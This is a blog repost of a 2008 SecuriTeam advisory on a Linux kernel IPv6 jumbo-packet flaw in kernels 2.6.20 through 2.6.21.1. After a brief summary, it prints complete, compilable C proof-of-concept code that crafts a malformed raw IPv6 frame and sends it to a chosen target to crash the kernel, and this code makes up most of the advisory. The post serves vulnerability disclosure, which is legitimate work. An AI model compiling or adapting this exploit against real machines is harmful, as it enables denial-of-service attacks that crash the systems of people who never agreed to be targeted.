Search This Blog

Monday, January 14, 2008

[EXPL] Linux Kernel IPv6 Jumbo Bug

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


- - - - - - - - -

Linux Kernel IPv6 Jumbo Bug
------------------------------------------------------------------------


SUMMARY

When the Linux kernel receives a malformed IPv6 jumbo packet - it will
drop the packet and try to write some statistics. In the affected kernel
versions it is not assured that the structure which provides the
information is correctly initialized - resulting in a kernel crash.

DETAILS

Vulnerable Systems:
* Linux kernels version 2.6.20 up to and including 2.6.21.1

Exploit:
/*
* Clemens Kurtenbach <ckurtenbach at s21sec . com>
* PoC code for exploiting the jumbo bug found in
* linux kernels >=2.6.20 and <=2.6.21.1
* gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash -

http://www.milw0rm.com/exploits/4893

*
*/


/* io */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* network */
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netdb.h>
#include <linux/if.h>

#define MY_FRAME_LEN 1145

char *resolve6(unsigned char *target) {
char *ret_addr;
struct in6_addr my_in6;
char *glob_addr = (char *) &my_in6;
struct addrinfo addr_hints, *addr_result;
unsigned char out[64];

memset(&addr_hints, 0, sizeof(addr_hints));
addr_hints.ai_family = AF_INET6;

if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
printf("getaddrinfo() error\n");
exit(1);
}
if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out,
sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
printf("getnameinfo() error\n");
exit(1);
}
if(inet_pton(AF_INET6, out, glob_addr) < 0) {
printf("inet_pton() error\n");
exit(1);
}
if((ret_addr = malloc(16)) == NULL) {
printf("malloc() error\n");
exit(1);
}
memcpy(ret_addr, my_in6.s6_addr, 16);
return ret_addr;
}

int main(int argc, char *argv[]) {

if (argc < 4) {
printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55>
<eth0>\n");
exit(1);
}

/* handle IPv6 destination */
unsigned char *dest_ip = resolve6(argv[1]);

/* handle MAC */
unsigned char dest_mac[7];
sscanf(argv[2], "%x:%x:%x:%x:%x:%x",
(unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1],
(unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3],
(unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]);

/* handle interface */
unsigned char *iface;
iface = argv[3];

/* buffer for ethernet frame */
void *buffer = (void*)malloc(MY_FRAME_LEN);

/* pointer to ethenet header */
unsigned char *etherhead = buffer;
struct ethhdr *eh = (struct ethhdr *)etherhead;

/* our MAC address */
unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 };
unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};

/* prepare socket */
int s;
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
printf("cannot create socket: [%d]\n",s);
exit(1);
}

/* RAW communication */
struct sockaddr_ll socket_address;
socket_address.sll_family = PF_PACKET;
socket_address.sll_protocol = htons(ETH_P_IP);
socket_address.sll_ifindex = if_nametoindex(iface);
socket_address.sll_hatype = ARPHRD_ETHER;
socket_address.sll_pkttype = PACKET_OTHERHOST;
socket_address.sll_halen = ETH_ALEN;

/* set the frame header */
memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
eh->h_proto = 0xdd86; // IPv6

/* the buffer we want to send */
unsigned char bad_buffer[] = {
0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00,
0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };

memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);

/* overwrite our src and dst ip */
memcpy((void*)(buffer+22), (void*)src_ip, 16);
memcpy((void*)(buffer+38), dest_ip, 16);

/* send the buffer */
int send_result = 0;
send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct
sockaddr*)&socket_address, sizeof(socket_address));
if (send_result == -1) {
printf("could not send frame: [%d]\n", send_result);
exit(1);
}
else printf("frame send to ip [%s] with mac [%s] on iface
[%s]\n",argv[1],argv[2],argv[3]);

return 0;
}

// milw0rm.com [2008-01-11]


ADDITIONAL INFORMATION

The information has been provided by <mailto:ckurtenbach@s21sec.com>
Clemens Kurtenbach.
The original article can be found at:
<http://blog.s21sec.com/2008/01/ipv6-bug-in-linux-kernel.html>

http://blog.s21sec.com/2008/01/ipv6-bug-in-linux-kernel.html

========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: